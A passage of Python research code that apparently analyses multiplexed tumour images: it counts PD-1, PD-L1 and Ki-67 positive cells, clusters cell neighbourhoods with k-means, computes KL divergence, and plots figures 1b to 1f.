for one (or both) of these markers\n            #get counts of PD-1\n            pd1Pos = len(dfCell[(dfCell['Cellsp_PD1p'] == 1)])\n    \n            #get counts of PD-L1\n            pdl1Pos = len(dfCell[(dfCell['Cellsp_PDL1p'] == 1)])\n        \n            #NOTE: if a cell is positive for BOTH PD-1 and PD-L1 it will get counted for BOTH markers.\n            #add counts to countDict\n            countDict[cell+'_pd1+'].append(pd1Pos) #PD-1+\n            countDict[cell+'_pdl1+'].append(pdl1Pos) #PD-L1+\n    \n    #put counts into dfRaw\n    for c,countList in countDict.items():\n        dfRaw[c] = countList    \n    \n    #get list of regions\n    ptList = list(dfRaw.index)\n    \n    #get list of columns\n    colList = list(dfRaw.columns)\n    \n    #set up to store % counts in value's list of countDict\n    countDict = {}\n    for c in colList:\n        countDict[c] = [] #empty list to hold cell counts for each cell type/PD-status we care about\n            \n    #get original region's csv to get cell counts from\n    for pt in ptList:\n        #print(pt) #to keep track of progress\n        df = pd.read_csv(cwd+'/data/'+pt+'.csv',index_col=0)\n    \n        #get array of counts for each cell type in the original ROI\n        cellCounts = df['class'].value_counts()\n            \n        #calculate % of each cell\n        for c in colList: #loop through each column of the dfRaw file\n            \n            if c[0] in cellCounts:\n                countDict[c].append((dfRaw.loc[pt,c])/(cellCounts[c[0]])) #append the % count = raw count of cell type/total of that cell type\n    \n            else:\n                countDict[c].append(0) #if cell type is not present in the original ROI, then add zero percent to the countDict for that cell type    \n        \n    #put counts into dfCount\n    for c,countList in countDict.items():\n        dfCount[c] = countList\n    \n    #save dfCount to csv\n    dfCount.to_csv(cwd+'/dfCreated/dfPD1PDL1CountsPerc_all.csv')\n    \n    #create new dataframe with averaged numbers for every region within one patient\n    dfCount.index = dfCount.index.str.slice(0,6)\n    \n    #groupby same patient (diff region) and take the average of the corresponding rows\n    dfCountAvg = dfCount.groupby(['patient']).mean()\n    \n    #save dfCountAvg to csv\n    dfCountAvg.to_csv(cwd+'/dfCreated/dfPD1PDL1CountsPerc_avg.csv')\n    \n\n\ndef kiCounts():\n\n    '''\n    This function counts the number of cells in each region that are gated positive for Ki-67.\n    It calculates percentage counts: for example (Ki-67+ CD8 T cells)/(all CD8 T cells)\n    Results for % counts are saved to csvs - one for all regions and one averaged across regions (per tumor).\n\n    Input parameters:\n        None\n\n    Outputs:\n        Saves two csvs to the dfCreated folder; one with % Ki-67+ counts of all regions and one with % counts averaged across regions    \n    '''\n\n    import pandas as pd\n    import os\n\n    #get csvList\n    csvList = getCsvs()\n\n    #get current directory\n    cwd = os.getcwd()\n\n    #get clinical df data\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n\n    #empty lists to store clinical data from dfClin\n    dtrList = []\n\n    #create a new df to store clinical data and % counts\n    dfCount = pd.DataFrame()\n    dfCount['patient'] = csvList\n    dfCount.set_index('patient',inplace=True) #set index labels to be the patient column\n\n    #loop through each csv in csvList to get clinical values of only the csvs included in the list\n    for pt in csvList:\n        idx = dfClin.loc[dfClin['sample'] == pt].index[0]\n        dtrList.append(dfClin['dtr'].iloc[idx]) #add to dtr list\n\n    #put lists into dfScore dataframe and convert all values to int and any missing values to NaN values\n    dfCount['dtr'] = dtrList\n    dfCount['dtr'] = pd.to_numeric(dfCount['dtr'],errors='coerce')\n\n    #set up to store ki67 raw counts in value's list of countDict\n    countDict = {}\n    dfRaw = pd.DataFrame() #empty df to store raw counts\n    dfRaw['patient'] = csvList\n    dfRaw.set_index('patient',inplace=True) #set index labels to be the patient column\n\n    #list all cell types to count ki-67 expression\n    cellList = ['A','B','C','D','E','J','K','X','N','H']   \n\n    #create empty lists to hold cell counts for each cell type\n    for cell in cellList:\n        countDict[cell+'_ki67+'] = []\n\n    #loop through csvs and calculate counts\n    for file in csvList:\n        #get original csv\n        df = pd.read_csv(cwd+'/data/'+file+'.csv',index_col=0)\n\n        for cell in cellList:\n            #make smaller df of just the cell type we want\n            dfCell = df[(df['class'] == cell)] #note that if cell type does not exist in the df, zeros will automatically be added as the counts\n\n            #only count the cells positive for ki67\n            ki67Pos = len(dfCell[(dfCell['Cellsp_KI67p'] == 1)])\n\n            #add counts to countDict\n            countDict[cell+'_ki67+'].append(ki67Pos)\n\n    #put counts into dfRaw\n    for c,countList in countDict.items():\n        dfRaw[c] = countList    \n\n    #get list of regions\n    ptList = list(dfRaw.index)\n\n    #get list of columns\n    colList = list(dfRaw.columns)\n\n    #set up to store % counts in value's list of countDict\n    countDict = {}\n    for c in colList:\n        countDict[c] = [] #empty list to hold cell counts for each cell type\n\n    #get original region's csv to get cell counts from\n    for pt in ptList:\n        df = pd.read_csv(cwd+'/data/'+pt+'.csv',index_col=0)\n\n        #get array of counts for each cell type in the original ROI\n        cellCounts = df['class'].value_counts()\n\n        #calculate % of each cell\n        for c in colList: #loop through each column of the dfRaw file\n\n            if c[0] in cellCounts:\n                countDict[c].append((dfRaw.loc[pt,c])/(cellCounts[c[0]])) #raw count of cell type/total of that cell type\n\n            else:\n                countDict[c].append(0) #if cell type is not present in the original ROI, then add zero percent to the countDict for that cell type    \n\n    #put counts into dfCount\n    for c,countList in countDict.items():\n        dfCount[c] = countList\n\n    #save dfCount to csv\n    dfCount.to_csv(cwd+'/dfCreated/dfKI67CountsPerc_all.csv')\n\n    #create new dataframe with averaged numbers for every region within one patient\n    dfCount.index = dfCount.index.str.slice(0,6)\n\n    #groupby same patient (diff region) and take the average of the corresponding rows\n    dfCountAvg = dfCount.groupby(['patient']).mean()\n\n    #save dfCountAvg to csv\n    dfCountAvg.to_csv(cwd+'/dfCreated/dfKI67CountsPerc_avg.csv')\n\n\n\ndef makeNeighborhoods(seed,distThresh):\n\n    '''\n    This function counts the neighboring cell types within X distance of the seed cells and saves these counts to a csv.\n    Counts are saved both as a raw count and as a percentage.    \n\n    Input parameters:\n        seed = seed cell type to create neighborhoods for (ex. H)\n        distThresh = radius (in pixels; 2 px = 1µm) to draw around seed cell to identify neighbors in\n\n    Output:\n        One csv is saved in the 'dfCreated/' folder within the original path.\n        It is saved with the following naming convention: dfNeighborhoodCluster'+seed+str(distThresh)+'.csv'\n        This csv is what should be used to cluster on.\n        Each row is one seed cell and the columns contain the number of neighbors it has of each cell type.\n    '''\n\n    import pandas as pd\n    from scipy import spatial\n    import os\n\n    #get csvList\n    csvList = getCsvs()\n    \n    #get current directory\n    cwd = os.getcwd()\n    \n    #empty list to hold dictionaries to create new rows of dfClust; outside of for file in csvList loop\n    allNeighList = []\n\n    #loop through each ROI in csvList\n    for file in csvList:\n\n        #read df according to path\n        df = pd.read_csv(cwd+'/data/'+file+'.csv', index_col=0)\n\n        #create filtered dataframe without noise or 'other cells'\n        filt_df = df[((df['class'] != 'G') & (df['class'] != 'F'))] #G=noise, F=other non-immune cells\n\n        #get all possible class values; for later counting\n        classOptions = sorted(list(filt_df['class'].unique()))\n\n        #generate count variable names for final created df's columns\n        classCountNames = []\n        for c in classOptions: #loop through all possible neighboring cells\n            classCountNames.append('count'+c)\n\n        ##get nearest neighbors of seed cells defined by seed param\n        #create np array of just x,y coordinates\n        ptsArray = filt_df[['Location_Center_X','Location_Center_Y']].values\n\n        #create kdtree\n        tree = spatial.KDTree(ptsArray)\n        #print('tree created.')\n\n        #loop through each cell and check its neighbors if it's the right seed\n        for i in range(len(ptsArray)):\n\n            classType = filt_df['class'].values[i]\n            #print('\\n',i,classType)\n\n            #only check neighbors if the seed cell is the desired classType\n            if classType == seed:\n                neighs = tree.query_ball_point(ptsArray[i], distThresh) #get neighbors within distance\n\n                #print(neighs)\n                if i in neighs:\n                    neighs.remove(i) #don't include itself as a neighbor\n\n                neighClassList = [] #empty list to store neighboring cells' classes\n                 \n                #loop through each neighbor and get its class; add it to neighClassList\n                for j in neighs:\n                    #get its class\n                    neighClass = filt_df['class'].values[j]\n                    neighClassList.append(neighClass)\n\n                #get counts of neighboring cell types\n                classCounts = []\n                for c in classOptions: #loop through all possible neighboring cells\n                    count = neighClassList.count(c) #count the specified cell type\n                    classCounts.append(count) #add the counts of the specified cell type to classCounts\n\n                #reset dictionary to hold counts of neighbors; one per seed\n                seedDict = {}\n\n                #add counts to a dictionary (one per seed cell); also add original seed cell's idx value (filt_df.iloc's index)\n                seedDict['file'] = file\n                seedDict['index'] = i\n\n                #for each possible neighboring cell class, add its count to seedDict both raw and as a %\n                for n in range(len(classCountNames)):\n                    seedDict[classCountNames[n]] = classCounts[n] #raw count\n\n                    if sum(classCounts) != 0:\n                        seedDict[classCountNames[n]+'%'] = classCounts[n]/sum(classCounts) #percentage\n                    else: #avoid division by zero if there are no neighbors\n                        seedDict[classCountNames[n]+'%'] = 0 #set % to zero if there are no neighbors\n\n                #add each seed's neighbor dictionary to the overall list; one dictionary per row of df\n                allNeighList.append(seedDict)\n\n    #create one new df to hold data for clustering; pass in allNeighList as the data; format is one row per seed cell across all csvs\n    #column names from a seedDict's keys (all seedDicts have the same keys)\n    dfClust = pd.DataFrame(data = allNeighList, columns = list(seedDict.keys()))\n    #NOTE: only using the columns (cells present) from the final csv that was analyzed. If a cell is not present at all in this csv then its column will not be present in the final csv created.\n\n    #convert any NaN values to zeros [note that NaN values arise when a csv lacks any of a cell type that does exist in other csvs]\n    dfClust = dfClust.fillna(0)\n\n    #store dfClust as a csv\n    dfClust.to_csv(cwd+'/dfCreated/dfNeighborhoodCluster'+seed+str(distThresh)+'.csv')\n    print('Csv created. Check columns to ensure all expected cells are present as columns.')\n\n\n\ndef elbowMethod(file,steps):\n    \n    '''\n    This function runs the Elbow Method to determine the optimal number of clusters for k-means clustering.\n    Input parameters:\n        file = name of file to run clustering on (likely of the format dfNeighborhoodClusterH50)\n        steps = max number of clusters (k) to test\n     \n    Output:\n        saves plot to 'figures' folder\n    '''\n    \n    import pandas as pd\n    from matplotlib import pyplot as plt\n    from sklearn.cluster import MiniBatchKMeans #minibatchkmeans is better when n > 10,000 samples\n    import os\n    \n    cwd = os.getcwd()\n    \n    df = pd.read_csv(cwd+'/dfCreated/'+file+'.csv', index_col=0)\n\n    #drop all rows that have no cells in the neighborhood (aka when the sum of count columns is zero)\n    df['sum'] = df.iloc[:,2:].sum(axis=1)\n    df = df[df['sum'] != 0]\n        \n    #generate column list to cluster on based on if there is a % in the column name\n    colList = list(df.columns[['%' in col for col in list(df.columns)]])\n    \n    #get only features we want to cluster on\n    df = df[colList]\n    data = df.values\n    \n    #empty list to store error value\n    wcss = []\n    \n    #calculate error for each k value (k=number of clusters)\n    for k in range(1, steps):\n        #print('running for k=',k)\n    \n        #generate kmeans model\n        kmeans = MiniBatchKMeans(n_clusters=k, init='k-means++', max_iter=300, n_init=10, random_state=0)\n    \n        #fit model to data\n        kmeans.fit(data)\n    \n        #add the sum of squares to wcss list; for plotting elbow\n        wcss.append(kmeans.inertia_)\n    \n    #generate elbow plot\n    plt.plot(range(1, steps), wcss)\n    plt.title('Elbow Method')\n    plt.xlabel('Number of clusters')\n    plt.ylabel('WCSS')\n    plt.savefig(cwd+'/figures/fig4ElbowPlot.png',format='png') #saves figure to 'figures' folder as a png file\n    plt.close()\n    print(\"Elbow plot saved to 'figures' folder.\")\n \n\n\ndef clusterNeighborhoods(file,k):\n    \n    '''\n    This function runs k-means clustering on a given neighborhood clustering csv.\n    The results are saved to a new csv.\n\n    Input parameters:\n        file = name of file to run clustering on excluding the .csv (ex. dfNeighborhoodClusterN60)\n        k = number of clusters; use elbow method to determine optimal number\n\n    Outputs:\n        One csv is saved to the 'dfCreated/' folder in the form: 'dfNeighClustered'+seedDist+'+roiType+'k'+k+'.csv'\n\n    '''\n\n    import pandas as pd\n    from sklearn.cluster import MiniBatchKMeans\n    import os\n\n    #get current directory\n    cwd = os.getcwd()\n\n    #read csv with neighborhood data    \n    df = pd.read_csv(cwd+'/dfCreated/'+file+'.csv', index_col=0)\n  \n    #drop all rows that have no cells in the neighborhood (aka when the sum of count columns is zero)\n    df['sum'] = df.iloc[:,2:].sum(axis=1)\n    dfFilt =df[df['sum'] != 0]\n\n    #get lists from original df to add back later after clustering\n    roiList = list(dfFilt['file']) #get list of ROIs in order to add to dfNoNa later\n    idxList = list(dfFilt['index']) #get list of cell indices in order to add to dfNoNa later\n\n    #generate column list to cluster on based on if there is a % in the column name; this excludes the ki67, pdl1 columns too\n    colList = list(dfFilt.columns[['%' in col for col in list(dfFilt.columns)]])\n\n    #get only features we want to cluster on\n    dfFilt = dfFilt[colList]\n    data = dfFilt.values\n\n    #=k-means clustering of cells with k clusters\n    kmeans = MiniBatchKMeans(n_clusters=k, init='k-means++', max_iter=300, n_init=10, random_state=0)\n    predict = kmeans.fit_predict(data) #fit model to data and predict index (cluster labels); same results as first fitting and then predicting\n    #print('prediction complete.')\n\n    #add predicted cluster labels to df as a new column and see how many cells are in each cluster\n    dfFilt['cluster'] = predict\n    dfFilt['cluster'].value_counts() #unecessary unless you want to see how many cells are in each cluster and then you should print it\n\n    #add original ROI to df to check which ROIs are in each cluster\n    dfFilt['file'] = roiList\n\n    #need to add original indices to this df to check which ROIs are in each cluster; will also need to use ROI ID to pair with cell index (same index could be had by two cells from diff ROIs)\n    dfFilt['index'] = idxList #idxList stores the row value of filt_df.iloc[row,column] command\n\n    #save df to a csv\n    dfFilt.to_csv(cwd+'/dfCreated/dfNeighClustered'+file[21:]+'k'+str(k)+'.csv')\n\n\n\ndef clusterCountPerROI(name):\n    \n    '''\n    This function takes in a clustered csv and creates two csvs with the counts of each seed cell per ROI.\n    One csv includes counts across all ROIs. One csv includes counts averaged across ROIs.\n    Each csv has both raw count and percentage counts for each cluster.\n    \n    Input parameters:\n        name = name of file containing clustered neighborhood data to count cluster abundance from, excluding the '.csv' (ex. 'dfNeighClusteredN60k7')\n    Outputs:\n        Saves two csvs saved to 'dfCreated' folder with the naming convention:\n        dfClustCountsH70allk5_all.csv \n        dfClustCountsH70allk5_avg.csv\n    '''\n    \n    import pandas as pd\n    import os\n    \n    #get current directory\n    cwd = os.getcwd()\n\n    #read clustering csv to analyze (eg. dfNeighClusteredH70allk5; it's a csv that has each seed cell clustered)\n    df = pd.read_csv(cwd+'/dfCreated/'+name+'.csv', index_col=0)\n    \n    dictCounts = {} #empty dict to store raw counts for each cluster\n    \n    #emtpy list to store patient csvs for the new df index\n    dictCounts['ptList'] = [] \n    \n    #create empty raw count lists; one per cluster\n    for i in range(int(name[-1])): #get the number of clusters by looking at the last character in the file name\n        listName = 'clust'+str(i)+'RawList'\n        dictCounts[listName] = [] #give the value for each key an empty list to be appended to later\n    \n    #create empty percentage count lists; one per cluster\n    for i in range(int(name[-1])): #get the number of clusters by looking at the last character in the file name\n        listName = 'clust'+str(i)+'PercList'\n        dictCounts[listName] = [] #give the value for each key an empty list to be appended to later    \n    \n    #for each roi in the big df\n    for roi in df['file'].unique():\n    \n        #add roi to ptList in the correct order that matches addition of other counts to their lists\n        dictCounts['ptList'].append(roi)\n        \n        dfSingleROI = df[df['file'] == roi] #df contains cells from only one region\n    \n        #raw frequency counts of cluster\n        freq = dfSingleROI['cluster'].value_counts()\n        \n        #perc counts of cluster\n        perc = dfSingleROI['cluster'].value_counts(normalize=True)\n    \n        #loop through each raw count in freq and each percentage count in perc\n        for i in range(int(name[-1])):\n            keyRaw = 'clust'+str(i)+'RawList' #create key name for each cluster; raw\n            keyPerc = 'clust'+str(i)+'PercList' #create key name for each cluster; perc\n            \n            #if the index exists aka if the cluster has a count, add the raw and % counts\n            if i in freq.index:\n                dictCounts[keyRaw].append(freq[i])\n                dictCounts[keyPerc].append(perc[i])\n                \n            #if the cluster does not have a count, add zero\n            else:\n                dictCounts[keyRaw].append(0)\n                dictCounts[keyPerc].append(0)\n\n    #get clinical df\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv', index_col=0)\n    \n    #empty list to store clinical data from dfClin\n    dtrList = []\n    \n    #create a new df to store clinical data and scores\n    dfClustCounts = pd.DataFrame()\n    dfClustCounts['patient'] = dictCounts['ptList']\n    dfClustCounts.set_index('patient',inplace=True) #set index labels to be the patient column\n    \n    #loop through each csv in ptList to get clinical values of only the csvs included in the list\n    for pt in dictCounts['ptList']:\n        idx = dfClin.loc[dfClin['sample'] == pt].index[0]\n        dtrList.append(dfClin['dtr'].iloc[idx]) #add to dtr list    \n    \n    #put lists into dfScore dataframe and convert all values to int and any missing values to NaN values\n    dfClustCounts['dtr'] = dtrList\n    dfClustCounts['dtr'] = pd.to_numeric(dfClustCounts['dtr'],errors='coerce')   \n    \n    #add all scores to the df\n    for key,value in dictCounts.items():\n        if key != 'ptList': #don't do anything if ptList is the key because that's already been taken care of\n            dfClustCounts[key] = value #add other count lists to the df\n    \n    #save dfClustCounts to csv\n    dfClustCounts.to_csv(cwd+'/dfCreated/dfClustCounts'+name[16:]+'_all.csv')\n    \n    #create new dataframe with averaged numbers for every region within one patient\n    dfClustCounts.index = dfClustCounts.index.str.slice(0,6)\n    \n    #groupby same patient (diff ROI) and take the average of the corresponding rows\n    dfAvg = dfClustCounts.groupby(['patient']).mean()\n    \n    #save dfAvg to csv\n    dfAvg.to_csv(cwd+'/dfCreated/dfClustCounts'+name[16:]+'_avg.csv')\n\n\n\ndef fig1():\n\n    '''\n    Heterogeneity across patients and tumor regions.\n    This function creates figures 1b-1g. \n    All subplots are saved to the 'figures' folder.\n    \n    Input parameters:\n        None\n        \n    Outputs:\n        Saves csvs to 'dfCreated' folder for files containing cell densities used to generate figures.\n        Saves plots to 'figures' folder for figures 1b-1g\n    '''\n    \n    #import packages\n    import plotly.graph_objs as go\n    import plotly.io as pio\n    import pandas as pd\n    import numpy as np\n    import os\n    from scipy.stats import entropy,f_oneway\n    import seaborn as sns\n    import matplotlib.pyplot as plt\n    from sklearn.preprocessing import FunctionTransformer\n    from sklearn.decomposition import PCA\n    from statsmodels.stats.multicomp import pairwise_tukeyhsd\n\n\n    #get dictionary to rename cells - used for subfigures\n    nameDict = cellClassRename()\n    \n    #get current directory - used to save subfigures\n    cwd = os.getcwd()\n    \n    #predefined color scheme; one distinct color per 11 cell types\n    cellColors = {'A':'rgb(127,60,141)','B':'rgb(17,165,121)','K':'rgb(57,105,172)','C':'rgb(242,183,1)','D':'rgb(231,63,116)','J':'rgb(128,186,90)','X':'rgb(230,131,16)','E':'rgb(0,134,149)','N':'rgb(207,28,144)','H':'rgb(165,170,153)'}\n\n    #dictionary to rename x axis labels\n    xDictRename = {'pre':'P','pos':'R'}\n   \n    \n    ##FIGURE 1b - HETEROGENEITY ACROSS PATIENTS AND TUMOR REGIONS - ALL CELL TYPES\n\n    print('\\nFigure 1b')\n    print('Calculating cell densities...')\n\n    #Calculate counts of ALL cells\n    cellList = ['A','B', 'K', 'C', 'D', 'J', 'X', 'E', 'N', 'H'] #list of cells to count - exclude 'other non-immune' and 'noise' classes\n    densityToCsv(cellList)\n    \n    print(\"Cell densities calculated. Csvs saved to 'dfCreated' folder.\")\n\n    #read cell density file\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    \n    #empty list to store x axis labels\n    xAxis = []\n    \n    #rename xAxis variables to 1P, 1R, etc    \n    for x in df.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        xAxis.append(xLabel) #add label to list\n    \n    traces = []\n    \n    for col in list(df.columns)[1:]:\n        trace = go.Box(x=xAxis,y=df[col],name=nameDict[col],boxpoints='all',marker={'color':cellColors[col]},line={'color':cellColors[col]})\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'Density (cells/mm^2)'},'boxmode':'group','plot_bgcolor':'rgba(0,0,0,0)'}\n    fig = {'data':traces,'layout':layout}    \n    pio.write_image(fig,cwd+'/figures/figure1b.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 1b saved to 'figures' folder.\")    \n    \n\n    ##FIGURE 1c - HETEROGENEITY ACROSS PATIENTS AND TUMOR REGIONS - IMMUNE CELLS ONLY\n    \n    print('\\nFigure 1c')\n\n    #read cell density file\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n        \n    #only want immune cells\n    df = df.drop(['N','H'],axis=1)\n\n    #empty list to store x axis labels\n    xAxis = []\n    \n    #rename xAxis variables to 1P, 1R, etc    \n    for x in df.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        xAxis.append(xLabel) #add label to list\n    \n    traces = []\n    \n    for col in list(df.columns)[1:]:\n        trace = go.Box(x=xAxis,y=df[col],name=nameDict[col],boxpoints='all',marker={'color':cellColors[col]},line={'color':cellColors[col]})\n        traces.append(trace)\n    \n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'Density (cells/mm^2)'},'boxmode':'group','plot_bgcolor':'rgba(0,0,0,0)'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure1c.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 1c saved to 'figures' folder.\")\n    \n    \n    ##FIGURE 1C - KL DIVERGENCE\n    \n    print('\\nFigure 1d')\n        \n    #get df of cell counts - using the perc composition with ALL cells (immune, tumor, aSMA)\n    dfAll = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    dfAvg = pd.read_csv(cwd+'/dfCreated/dfDensity_avg.csv',index_col=0)\n    \n    #get average of dfAvg - average values per patient (P+R)/2\n    dfAvgCopy = dfAvg.copy()\n    dfAvgCopy.index = dfAvgCopy.index.str.slice(2,3)\n    dfAvgAvg = dfAvgCopy.groupby(['patient']).mean()\n    \n    #get average of primary only and recurrent only \n    dfPrim = dfAll[['pre' in i for i in dfAll.index]]\n    dfPrimAvg = dfPrim.mean()\n    \n    dfRec = dfAll[['pos' in i for i in dfAll.index]]\n    dfRecAvg = dfRec.mean()\n    \n    #get average of cohort\n    dfCohortAvg = dfAvgAvg.mean()\n    \n    #get clinical df with anatomical location to add a column for site on dfAll\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    \n    dfAllCopy = dfAll.copy()\n    dfAllCopy['anatomy'] = dfClin['anatomy']\n    anatDict = dict(zip(dfAllCopy.index, dfAllCopy.anatomy)) #store roi:anatomy pairs for later use\n    \n    #get average of each anatomy region (OC,OP,L)\n    dfOCAvg = dfAllCopy[dfAllCopy['anatomy'] == 'oral cavity'].mean()\n    dfOPAvg = dfAllCopy[dfAllCopy['anatomy'] == 'oropharynx'].mean()\n    dfLAvg = dfAllCopy[dfAllCopy['anatomy'] == 'larynx'].mean()\n    \n    #empty list to store KL divergence\n    entListA = [] #for intra-tumoral, compares to single tumor's average\n    entListB = [] #for intra-patient, compares to single patient's average (P+R)/2\n    entListC = [] #for inter-patient, compares to all primary, or all recurrent depending on which one the region is from\n    entListD = [] #for inter-patient, compares to cohort average across ALL pts and tumors, regardless of P or R\n    entListY = [] #for intra-site, compares to same anatomic site's average across the cohort\n\n    #create list of rois (patient samples)\n    ptList = list(dfAll.index)\n    \n    #loop through ROIs\n    for pt in ptList:\n        #get row values for A-H counts for each ROI (per the pt variable)\n        countRoi = dfAll.loc[pt,'A':'H'] \n        \n        #get character(s) to match other df's index column\n        patA = pt[0:6] #same tumor\n        patB = pt[2] #same pt\n        \n        #get row values for A-H counts for each tumor (averaged, use the pat variables)\n        countAvgA = dfAvg.loc[patA,'A':'H']\n        countAvgB = dfAvgAvg.loc[patB,'A':'H']\n        \n        if 'pre' in pt:\n            countAvgC = dfPrimAvg['A':'H']\n            \n        elif 'pos' in pt:\n            countAvgC = dfRecAvg['A':'H']\n    \n        #values for matching anatomic site\n        if anatDict[pt] == 'oral cavity':\n            countAvgY = dfOCAvg['A':'H']\n        elif anatDict[pt] == 'oropharynx':\n            countAvgY = dfOPAvg['A':'H']\n        elif anatDict[pt] == 'larynx':\n            countAvgY = dfLAvg['A':'H']\n    \n        #cohort avg\n        countAvgD = dfCohortAvg['A':'H']\n        \n        #calculate the KL Divergence using the entropy function (log2) for each avg distribution; sample distribution's divergence from the tumor's, patient's, cohort's average (qk) distribution\n        entA = entropy(countRoi,qk=countAvgA,base=2) #intra-tumor\n        entB = entropy(countRoi,qk=countAvgB,base=2) #intra-patient\n        entC = entropy(countRoi,qk=countAvgC,base=2) #inter-patient (p or r)\n        entD = entropy(countRoi,qk=countAvgD,base=2) #inter-patient (all)\n        entY = entropy(countRoi,qk=countAvgY,base=2) #intra-anatomic site\n\n        #store KL divergence in list\n        entListA.append(entA)\n        entListB.append(entB)\n        entListC.append(entC)\n        entListD.append(entD)\n        entListY.append(entY)\n\n    #create new df with KL divergence info stored in one column\n    dfEnt = pd.DataFrame({'Intra-Tumor (P or R only)':entListA,'Intra-Patient (P and R)':entListB,'Inter-Patient (P or R only)':entListC,'Inter-Patient (Same Anatomic Site)':entListY,'Inter-Patient (all)':entListD},index=ptList)\n    \n    #empty list to store x axis labels\n    xAxis = []\n    #rename xAxis variables to 1P, 1R, etc\n    for x in dfEnt.index:\n        xLabel = x[2]+xDictRename[x[3:6]]\n        xAxis.append(xLabel) #add label to list\n    \n    traces = []\n    for col in list(dfEnt.columns):        \n        trace = go.Box(x=xAxis,y=dfEnt[col],boxpoints='all',name=col)\n        traces.append(trace)\n    layout = {'xaxis':{'title':'Tumor'},'yaxis':{'title':'KL Divergence'},'boxmode':'group'}\n    fig = {'data':traces,'layout':layout}\n    pio.write_image(fig,cwd+'/figures/figure1d.png',format='png',scale=2) #saves figure to 'figures' folder as a png file\n\n    print(\"Figure 1d saved to 'figures' folder.\")\n\n    #run ANOVA to see if means are the same or different; p is significant, so not all group means are equal! \n    anP = f_oneway(entListA,entListB,entListC,entListY,entListD)[1]\n    print('One way ANOVA p-value: ',anP) #one way anova\n\n    #if ANOVA is significant, run Tukey post hoc analysis to determine which pairs are significant\n    if anP < 0.05:        \n        dfTukey = pd.DataFrame({'value':entListA+entListB+entListC+entListY+entListD,'label':np.repeat(list(dfEnt.columns),repeats=len(dfEnt))})\n        tukey = pairwise_tukeyhsd(endog=dfTukey['value'],groups=dfTukey['label'],alpha=0.05)\n        print('Tukey HSD Post-Hoc Test: ',tukey)\n\n   \n    ##FIGURE 1e - HIERARCHICAL CLUSTERING OF TUMOR REGION COMPOSITION\n    \n    print('\\nFigure 1e')\n    \n    #read df\n    dfFilt = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n\n    #get clinical csv with anatomic site\n    dfClin = pd.read_csv(cwd+'/data/clinicalData.csv',index_col=0)\n    dfClin.set_index('sample',inplace=True)\n    \n    ##color coding - three columns\n    #add a new column for one color - patient number (1-9)\n    dfFilt['patient'] = dfFilt.index.str.slice(2,3)\n    \n    #add a second new column for second color - P(pre)/R(post) (2)\n    dfFilt['color2'] = dfFilt.index.str.slice(3,6)\n    \n    #add third column for anatomical site (3)\n    dfFilt['anatomy'] = dfClin.anatomy\n\n    #make color vector dictionary; two in total for two color palettes\n    palette1 = dict(zip(dfFilt.patient.unique(),sns.color_palette('tab10',n_colors = 9))) ##9 colors for 9 patients\n    palette2 = dict(zip(dfFilt.color2.unique(),sns.color_palette(\"Set3\",len(dfFilt.index)))) #Set3 gives light green/yellow combo - adjust in illustrator\n    palette3 = dict(zip(dfFilt.anatomy.unique(),sns.color_palette(\"Dark2\",len(dfFilt.index)))) #Dark2 gives green/orange combo; Set3 gives light green/yellow combo\n\n    #make groupings\n    grouping1 = dfFilt.patient #group off of color1 column; renamed to patient so yaxis title says patient rather than color1\n    grouping2 = dfFilt.color2 #group off of color2 column\n    grouping3 = dfFilt.anatomy #group off anatomy column\n\n    #map palettes onto the corresponding grouping series; names will be used as labels for color columns\n    ptColors1 = pd.Series(grouping1,name='Patient ID').map(palette1)\n    ptColors2 = pd.Series(grouping2,name='Primary or Recurrent').map(palette2)\n    ptColors3 = pd.Series(grouping3,name='Anatomic Site').map(palette3)\n    dfColors = pd.concat([ptColors1,ptColors2,ptColors3], axis=1)    \n    \n    #get only the desired columns aka drop dtr, added three cols for palettes\n    dfFiltSubset = dfFilt[list(dfFilt.columns)[1:-3]]\n    \n    #rename columns from cell classes to words\n    columns = dfFiltSubset.columns #get columns to rename\n    #update columns to use real cell classes rather than the IDs\n    newCols = []\n    for c in columns:\n        newCols.append(nameDict[c])\n    dfFiltSubset.columns = newCols\n    \n    #log10+1 scale\n    dfFiltLog = np.log10((dfFiltSubset)+1)\n    \n    #plot the clusttermap with the colors\n    graph = sns.clustermap(dfFiltLog,method='ward',metric='euclidean',cmap='vlag',row_colors=dfColors,yticklabels=True) #yticklabels = true to show all patient labels; row_colors are values of ptColors\n    \n    #add x-axis label and title to graph\n    ax = graph.ax_heatmap\n    ax.set_xlabel(\"\\nCell Phenotype\")\n    ax.set_ylabel(\"Tumor Region\")\n    \n    #adjust y limit to fix bug in matplotlib code: https://stackoverflow.com/questions/56942670/matplotlib-seaborn-first-and-last-row-cut-in-half-of-heatmap-plot\n    bottom,top = ax.get_ylim()\n    ax.set_ylim(bottom+.5,top-.5)\n    \n    plt.savefig(cwd+'/figures/figure1e.png',format='png',bbox_inches='tight') #saves figure to 'figures' folder as a png file\n    plt.close()\n    \n    print(\"Figure 1e saved to 'figures' folder.\")\n    \n    \n    ##FIGURE 1f - PRINCIPAL COMPONENT ANALYSIS BY PATIENT/TIMEPOINT\n    \n    print('\\nFigure 1f')\n    \n    #read dataframe\n    df = pd.read_csv(cwd+'/dfCreated/dfDensity_all.csv',index_col=0)\n    \n    #set color palette so it matches other plots; patient colors\n    palette = dict(zip(df.index.str.slice(2,3).unique(),sns.color_palette('tab10',n_colors = 9))) ##9 colors for 9 patients\n    \n    #get roiList, for later dataframe creation, to map to\n    roiList = list(df.index)\n        \n    #separate out features; drop dtr column\n    feat = df.iloc[:,1:].values\n    \n    #standardize the features w 